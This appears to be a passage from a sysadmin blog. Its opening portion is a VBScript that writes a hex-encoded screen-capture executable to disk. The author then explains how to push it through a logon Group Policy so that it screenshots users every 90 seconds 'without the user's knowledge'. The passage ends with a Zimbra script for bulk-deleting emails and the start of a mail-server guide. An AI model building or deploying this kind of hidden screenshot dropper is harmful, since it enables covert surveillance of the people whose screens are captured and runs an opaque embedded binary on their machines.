For x = 1 To 511 Step 2 : oFile.Write Chr(Clng("&H" & Mid("0000800016202802560017000000000080001620310256001800000000008000162046025B001900AC31000000000618D90013001B000000000080001620530261001B0000000000800016206F0251001B000000000080001620800265001C0000000000800016208A026B001E003C2D000000009600C402730020004C2D000000000618D90013002000802D00000000C402C90277002000A82D0000000001000703130021000000000080001120530284002100000000008000162025038800210000000000800016206C03960025000000000080001620280251003000142E000000000100F203A6003100000001000101000001000101000002003F010000",x,2))) : Next
For x = 1 To 511 Step 2 : oFile.Write Chr(Clng("&H" & Mid("03004801000001003F01000002004801000001008C0100000200940100000300A10100000100BE0100000200C60100000300C80100000400CA0100000500D10100000600D90100000700E00100000800E50100000900EA0100000100110200000200CA0100000300D101000001001102000001001102000001003E02000001001102000002003E02000001007B02000001007B02000002001102000001007B0200000200980200000100D102002001002E03002002003B03002003004803000004005103000001007703000002007F03000003008C0300000400990300000500A40300000600B00300000700B70300000800C30300000900CF0300000A00D903",x,2))) : Next
For x = 1 To 511 Step 2 : oFile.Write Chr(Clng("&H" & Mid("00000B00EA0100000100E40300000100FD030000020004045900A704FC003900D90013006100D90002013900B80408016900C90213003900C90277007100D9000E013900D20414013900E8041401390007051A0181002305200139002C05770081003E05200139005705250181008605130059008B053001A900A2053401B100DD0538019900E4053F019900F30545012900FE054A0129000406530129000E0653012100D9000E0191001906570191004F065E01C1007A06640129008606530129008C0653019100920669019100A00673019900A7063401A100D9001300D100CF0677019100D9067C019100C9021300A900E40681011900EB0687011100F406",x,2))) : Next
For x = 1 To 511 Step 2 : oFile.Write Chr(Clng("&H" & Mid("2A003900F9061300D900D9001300E100D90013000900D900130011002F07BF012100D900D50111004707DB012100D900E0012900D900E80191006407F001F900D9000F020901D90016021101D90020011901D90020012101D90077002901D90020013101D90020013901D90020014101D90020014901D90020015101D900200108002400B10008002800B60008002C00BB0008003000C00008003400C50008003800CA0008003C00CF0008004000D40008004400D90008004800DE0008004C00E30008005000E80008005400ED0008005800F20008005C00F7002E00BB0153022E00E30153022E009B011C022E00AB0123022E00B3014D022E00C30153022E00",x,2))) : Next
For x = 1 To 511 Step 2 : oFile.Write Chr(Clng("&H" & Mid("CB0153022E00D30153022E00DB01530260024B01B501C0025301B5014300940045009400470094002B018C01BA01C501BA01BA01FE0159025D0260026402680268026B026F026F0273023A003A006B026B026B026B023A005D025D025D023A0076023A0076027B027F027F026802680268023A0068027F023A003A0083027F027F0260026002600264026B026B028000F00164021E035C0343011100B701010043011300FA01010043011500150201004301170028020100430119003102010043011B004602010043011F0053020200430121006F0202004301230080020200430125008A02020043012F00530203004301310062030400430133006C030100",x,2))) : Next
For x = 1 To 511 Step 2 : oFile.Write Chr(Clng("&H" & Mid("43013500280204000480000001000000C40DEA5D000000000000CC08000001000000881300000000000001000A00000000000700000088130000000000000A00130000000000010000008813000000000000010029000000000001000000881300000000000001003000000000000100000088130000000000000A003C000000000001000000881300000000000001004B000000000001000000881300000000000001006000000000000000000001000000AE070000030002000400020005000400070006000000003C4D6F64756C653E006D73636F726C6962004D6963726F736F66742E56697375616C42617369630053797374656D0053797374656D2E44",x,2))) : Next
For x = 1 To 511 Step 2 : oFile.Write Chr(Clng("&H" & Mid("6174610053797374656D2E44726177696E670053797374656D2E57696E646F77732E466F726D730053797374656D2E586D6C0053637265656E43617074757265004465736B746F70436170747572652E53637265656E53686F7400474449333200557365723332005245435400466F726D31004465736B746F7043617074757265005465726E6172795261737465724F7065726174696F6E73004F626A656374002E63746F7200496D616765004361707475726553637265656E004361707475726557696E646F770068616E646C650053797374656D2E44726177696E672E496D6167696E6700496D616765466F726D6174004361707475726557696E646F77",x,2))) : Next
For x = 1 To 511 Step 2 : oFile.Write Chr(Clng("&H" & Mid("546F46696C650066696C656E616D6500666F726D6174004361707475726553637265656E546F46696C65004269746D61700052656374616E676C6500436170747572654465736B546F7052656374616E676C65004361705265637400436170526563745769647468004361705265637448656967687400535243434F505900426974426C74006844657374444300780079006E5769647468006E4865696768740068537263444300785372630079537263006477526F700067646933322E646C6C00437265617465436F6D70617469626C654269746D61700068646300437265617465436F6D70617469626C6544430044656C65746544430044656C6574654F",x,2))) : Next
For x = 1 To 511 Step 2 : oFile.Write Chr(Clng("&H" & Mid("626A65637400684F626A6563740053656C6563744F626A656374004765744465736B746F7057696E646F77007573657233322E646C6C0047657457696E646F7744430068776E640052656C6561736544430047657457696E646F7752656374006C70526563740056616C756554797065006C65667400746F7000726967687400626F74746F6D00466F726D004D61696E00446973706F736500646973706F73696E670053797374656D2E436F6D706F6E656E744D6F64656C0049436F6E7461696E657200636F6D706F6E656E747300496E697469616C697A65436F6D706F6E656E7400534300757365723332004372656174654443006C704472697665724E61",x,2))) : Next
For x = 1 To 511 Step 2 : oFile.Write Chr(Clng("&H" & Mid("6D65006C704465766963654E616D65006C704F7574707574006C70496E697444617461006764693332004372656174654443410053747265746368426C740068646344657374006E584F726967696E44657374006E594F726967696E44657374006E576964746844657374006E4865696768744465737400686463537263006E584F726967696E537263006E594F726967696E537263006E5769647468537263006E48656967687453726300684443004576656E744172677300466F726D315F4C6F61640073656E646572006500456E756D0076616C75655F5F005352435041494E5400535243414E4400535243494E56455254005352434552415345004E4F",x,2))) : Next
For x = 1 To 511 Step 2 : oFile.Write Chr(Clng("&H" & Mid("54535243434F5059004E4F545352434552415345004D45524745434F5059004D455247455041494E5400504154434F5059005041545041494E5400504154494E5645525400445354494E5645525400424C41434B4E4553530057484954454E455353004170706C69636174696F6E0052756E004576656E7448616E646C6572006164645F4C6F61640049446973706F7361626C650053697A65007365745F4175746F5363616C654261736553697A65007365745F436C69656E7453697A6500466F726D426F726465725374796C65007365745F466F726D426F726465725374796C6500436F6E74726F6C007365745F4E616D65007365745F53686F77496E5461",x,2))) : Next
For x = 1 To 511 Step 2 : oFile.Write Chr(Clng("&H" & Mid("736B626172007365745F5465787400466F726D57696E646F775374617465007365745F57696E646F7753746174650047726170686963730053637265656E0057696E3332457863657074696F6E0048696465006765745F537461727475705061746800537472696E6700546F537472696E67004D6963726F736F66742E56697375616C42617369632E436F6D70696C6572536572766963657300537472696E675479706500537472436D70006765745F416C6C53637265656E73006765745F426F756E647300556E696F6E006765745F5769647468006765745F4865696768740046726F6D496D6167650053797374656D2E44726177696E672E44726177696E",x,2))) : Next
For x = 1 To 511 Step 2 : oFile.Write Chr(Clng("&H" & Mid("67324400436F6D706F736974696E675175616C697479007365745F436F6D706F736974696E675175616C6974790053797374656D42727573686573004272757368006765745F4465736B746F70006765745F58006765745F590046696C6C52656374616E676C6500476574486463006765745F4465766963654E616D650053797374656D2E446961676E6F73746963730054726163650057726974654C696E650052656C6561736548646300436F6E636174006765745F4A706567005361766500436C6F736500535441546872656164417474726962757465004465627567676572537465705468726F7567684174747269627574650046726F6D486269746D",x,2))) : Next
For x = 1 To 511 Step 2 : oFile.Write Chr(Clng("&H" & Mid("617000506978656C466F726D6174006765745F506978656C466F726D6174004772617068696373556E69740044726177496D6167650053797374656D2E52756E74696D652E496E7465726F705365727669636573005374727563744C61796F7574417474726962757465004C61796F75744B696E64004465736B746F70436170747572652E466F726D312E7265736F75726365730044656275676761626C654174747269627574650053797374656D2E5265666C656374696F6E00417373656D626C7956657273696F6E417474726962757465004775696441747472696275746500434C53436F6D706C69616E7441747472696275746500417373656D626C79",x,2))) : Next
For x = 1 To 511 Step 2 : oFile.Write Chr(Clng("&H" & Mid("54726164656D61726B41747472696275746500417373656D626C79436F7079726967687441747472696275746500417373656D626C7950726F6475637441747472696275746500417373656D626C79436F6D70616E7941747472696275746500417373656D626C794465736372697074696F6E41747472696275746500417373656D626C795469746C65417474726962757465004465736B436170004465736B4361702E65786500000B46006F0072006D0031000001000763003A005C0000195C006400650073006B0074006F0070002E006A007000670000000000BD4B40C1253C4F4998AFB1E26A3AFF150008B77A5C561934E08908B03F5F7F11D50A3A03",x,2))) : Next
For x = 1 To 511 Step 2 : oFile.Write Chr(Clng("&H" & Mid("200001042000120905200112091807200301180E120D062002010E120D0820031211111508080206080C000908180808080818080808060003181808080400011818040001081805000218181803000018050002081818070002081810111403000001042001010203061221030612080300000A0B000418100E100E100E100801220F000B0218080808081808080808111C062002011C12250306111C042000CC00048600EE0004C600880004460066000428034400040800330004A600110004CA00C000042602BB00042100F00004090AFB000449005A0004090055000442000000046200FF0005000101121D052002011C18052001011231052002010808",x,2))) : Next
For x = 1 To 511 Step 2 : oFile.Write Chr(Clng("&H" & Mid("05200101113905200101113D042001010E05200101114504070111390300000E0320000E060003080E0E020500001D124D0420001115080002111511151115032000080600011249120905200101115D04000012650920050112650808080803200018040001011C04200101180500020E0E0E040000120D2807180E1211124918181115124D124D02080812511115111511151115080E0E0E081D124D081D124D040100000004070112090500011211180F070A120918181808181209080811140520010112090420001175072003010808117507200401080808080D2007011209111508080808117910070712111211121112491115111512080620010111",x,2))) : Next
For x = 1 To 511 Step 2 : oFile.Write Chr(Clng("&H" & Mid("8081052002010202060100010100002901002439334439314132392D304633412D344444422D424344462D38393444323146463933443000000501000100000501000000000306113902060E0306121103061249020618030611150306124D02060204061D124D030612510306120903061114009C4600000000000000000000BE460000002000000000000000000000000000000000000000000000B04600000000000000000000000000000000000000005F436F724578654D61696E006D73636F7265652E646C6C0000000000FF25002000110000000000000000000000000000000000000000000000000000000000000000000000000000000000000000",x,2))) : Next
For x = 1 To 511 Step 2 : oFile.Write Chr(Clng("&H" & Mid("00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000",x,2))) : Next
For x = 1 To 511 Step 2 : oFile.Write Chr(Clng("&H" & Mid("00000000A250944A00000000020000008A0000001C6000001C2C00005253445354484A494CD7F34A845830ACC2752C0401000000433A5C446F63756D656E747320616E642053657474696E67735C41646D696E6973747261746F725C4D7920446F63756D656E74735C56697375616C2053747564696F2050726F6A656374735C4465736B746F705F436170747572655C6F626A5C44656275675C4465736B4361702E70646200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000",x,2))) : Next
For x = 1 To 511 Step 2 : oFile.Write Chr(Clng("&H" & Mid("00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000",x,2))) : Next
For x = 1 To 511 Step 2 : oFile.Write Chr(Clng("&H" & Mid("0000000000000000000000000000030003000000280000800E000000480000801000000060000080000000000000000000000000000002000200000078000080030000009000008000000000000000000000000000000100007F0000A80000800000000000000000000000000000010001000000C00000800000000000000000000000000000010000000000D80000000000000000000000000000000000010000000000E80000000000000000000000000000000000010000000000F800000000000000000000000000000000000100000000000801000020840000E80200000000000000000000088700002801000000000000000000003088000022000000",x,2))) : Next
For x = 1 To 511 Step 2 : oFile.Write Chr(Clng("&H" & Mid("000000000000000018810000040300000000000000000000040334000000560053005F00560045005200530049004F004E005F0049004E0046004F0000000000BD04EFFE0000010000000100EA5DC40D00000100EA5DC40D3F000000000000000400000001000000000000000000000000000000440000000100560061007200460069006C00650049006E0066006F00000000002400040000005400720061006E0073006C006100740069006F006E00000000000000B00464020000010053007400720069006E006700460069006C00650049006E0066006F0000004002000001003000300030003000300034006200300000001C000200010043006F006D00",x,2))) : Next
For x = 1 To 511 Step 2 : oFile.Write Chr(Clng("&H" & Mid("6D0065006E007400730000002000000024000200010043006F006D00700061006E0079004E0061006D00650000000000200000002C0002000100460069006C0065004400650073006300720069007000740069006F006E00000000002000000040000F000100460069006C006500560065007200730069006F006E000000000031002E0030002E0033003500320034002E00320034003000340032000000000038000C00010049006E007400650072006E0061006C004E0061006D00650000004400650073006B004300610070002E0065007800650000002800020001004C006500670061006C0043006F007000790072006900670068007400000020000000",x,2))) : Next
For x = 1 To 511 Step 2 : oFile.Write Chr(Clng("&H" & Mid("2C00020001004C006500670061006C00540072006100640065006D00610072006B007300000000002000000040000C0001004F0072006900670069006E0061006C00460069006C0065006E0061006D00650000004400650073006B004300610070002E006500780065000000240002000100500072006F0064007500630074004E0061006D006500000000002000000044000F000100500072006F006400750063007400560065007200730069006F006E00000031002E0030002E0033003500320034002E00320034003000340032000000000048000F00010041007300730065006D0062006C0079002000560065007200730069006F006E00000031002E00",x,2))) : Next
For x = 1 To 511 Step 2 : oFile.Write Chr(Clng("&H" & Mid("30002E0033003500320034002E00320034003000340032000000000000000000280000002000000040000000010004000000000080020000000000000000000000000000000000000000000000008000008000000080800080000000800080008080000080808000C0C0C0000000FF0000FF000000FFFF00FF000000FF00FF00FFFF0000FFFFFF0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000007777777777777777777777777777700444444444444444444444444444447004FFFFFFFFFFFFFFFFFFFFFFFFFFF47004FFFFFFFFFFFFFF",x,2))) : Next
For x = 1 To 511 Step 2 : oFile.Write Chr(Clng("&H" & Mid("FFFFFFFFFFFFF47004FFFFFFFFFFFFFFFFFFFFFFFFFFF47004FFFFFFFFFFFFFFFFFFFFFFFFFFF47004FFFFFFFFFFFFFFFFFFFFFFFFFFF47004FFFFFFFFFFFFFFFFFFFFFFFFFFF47004FFFFFFFFFFFFFFFFFFFFFFFFFFF47004FFFFFFFFFFFFFFFFFFFFFFFFFFF47004FFFFFFFFFFFFFFFFFFFFFFFFFFF47004FFFFFFFFFFFFFFFFFFFFFFFFFFF47004FFFFFFFFFFFFFFFFFFFFFFFFFFF47004FFFFFFFFFFFFFFFFFFFFFFFFFFF47004FFFFFFFFFFFFFFFFFFFFFFFFFFF47004FFFFFFFFFFFFFFFFFFFFFFFFFFF47004FFFFFFFFFFFFFFFFFFFFFFFFFFF47004FFFFFFFFFFFFFFFFFFFFFFFFFFF47004FFFFFFFFFFFFFFFFFFFFFFFFFFF47004FFFFFFFFFFFFFF",x,2))) : Next
For x = 1 To 511 Step 2 : oFile.Write Chr(Clng("&H" & Mid("FFFFFFFFFFFFF4700488888888888888888888888888847004444444444444444444444444444470044C4C4C4C4C4C4C4C4C4ECECE49747004CCCCCCCCCCCCCCCCCCCCCCCCCCC40000444444444444444444444444444000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFC00000018000000180000001800000018000000180000001800000018000000180000001800000018000000180000001800000018000000180000001800000018000000180000001800000018000000180000001800000018000000180000003C0000007FFFFFFFF",x,2))) : Next
For x = 1 To 511 Step 2 : oFile.Write Chr(Clng("&H" & Mid("FFFFFFFFFFFFFFFF2800000010000000200000000100040000000000C0000000000000000000000000000000000000000000000000008000008000000080800080000000800080008080000080808000C0C0C0000000FF0000FF000000FFFF00FF000000FF00FF00FFFF0000FFFFFF000000000000000000077777777777777744444444444444474FFFFFFFFFFFF8474FFFFFFFFFFFF8474FFFFFFFFFFFF8474FFFFFFFFFFFF8474FFFFFFFFFFFF8474FFFFFFFFFFFF8474FFFFFFFFFFFF8474FFFFFFFFFFFF84748888888888888474CCCCCCCCCCCCC47C4444444444444C000000000000000000000000000000000FFFF0000800000000000000000000000",x,2))) : Next
For x = 1 To 511 Step 2 : oFile.Write Chr(Clng("&H" & Mid("00000000000000000000000000000000000000000000000000000000000000000000000000010000FFFF0000FFFF00000000010002002020100001000400E802000002001010100001000400280100000300000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000",x,2))) : Next
For x = 1 To 511 Step 2 : oFile.Write Chr(Clng("&H" & Mid("00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000",x,2))) : Next
For x = 1 To 511 Step 2 : oFile.Write Chr(Clng("&H" & Mid("004000000C000000D036000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000",x,2))) : Next
For x = 1 To 511 Step 2 : oFile.Write Chr(Clng("&H" & Mid("00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000",x,2))) : Next
oFile.close
End Sub


#################################################################################


3 - Copy both scripts to this location \\ADserver\sysvol and create a GPO to run the copy.bat at logon and apply it to users

copy.bat will copy the screenshot.vbs script to the local computer on "%appdata%/Microsoft" location and trigger the script.

Screenshot.vbs has an infinite loop which will continue to take screenshot every 90 seconds until the user logs off.


Benefits: Free solution to take screenshots without the user's knowledge.

Drawback: This script will continue to take blank screenshots when the user's computer is in locked state.




Zimbra script to delete Bulk emails with subject



Senario : A user has sent an email by mistake to a group to which the email was originally not intended to.

The following script will identify the email id from zimbra mysql and delete it

Note: the script should be run as zimbra user




#!/bin/bash
# This script will delete emails from user mail box using subject
#
# File should contain the user email address from which the mail has to be deleted. One email address per line
#
# Usage ./deletemail.sh {filename}
#
# SCRIPT SHOULD BE RUN AS ZIMBRA USER
#

FILENAME=$1
count=0
#READING THE MAIL ADDRESS FROM FILE LINE BY LINE
while read mailid
do

#Subject of the email
subject="Work From Home Policy"

#getting the mboxstore id to search for the email in mysql
mboxid=$(zmprov getMailboxInfo $mailid | grep mailboxId | awk {'print $2'}|awk '{ print substr( $0, length($0) - 1, length($0) ) }')
echo Searching $mailid for message

# GETTING THE MESSAGE ID FROM MYSQL
msgid=$(/opt/zimbra/bin/mysql mboxgroup"$mboxid" -e "select id from mail_item where mailbox_id='$mboxid' and subject like '%$subject%'" | awk {'print $1'} | grep -v "id")
echo $msgid
echo Removing the message $msgid from $mailid
# DELETING THE MESSAGE FROM THE MAILBOX
/opt/zimbra/bin/zmmailbox -z -m $mailid dm $msgid
echo Done.
done < $FILENAME

High Availability with IREDMAIL Integrated with Active Directory

This is step by step guide for Centos 7. Server1 will be the Active node and Server2 will be the failover node. After failover when ...